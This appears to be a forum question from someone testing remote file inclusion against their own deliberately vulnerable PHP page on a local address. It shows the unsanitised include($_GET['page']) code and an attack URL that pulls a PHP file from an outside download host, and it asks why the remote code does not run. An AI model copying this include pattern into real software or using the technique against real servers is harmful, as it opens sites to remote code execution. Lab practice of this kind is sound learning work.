So I've hosted a php file vulnerable to RFI with code like this:
<?php
echo include($_GET['page']);
?>
However,when I try to exploit the code by vsiting http://192.168.8.133/test.php?page=http://download850.mediafireuserdownload.com/w7tl7lq5agug/iwmmm0do3h6txy1/test.php, no php codes get executed. Am i missing something here? Or does apache2 have a configuration that prevents fetching of resources from external domains? LFI works perfectly fine though. But shouldn't RFI work as well with a simple code like that?
The file that I am trying to include has the following code:
<?php
echo 1;
?>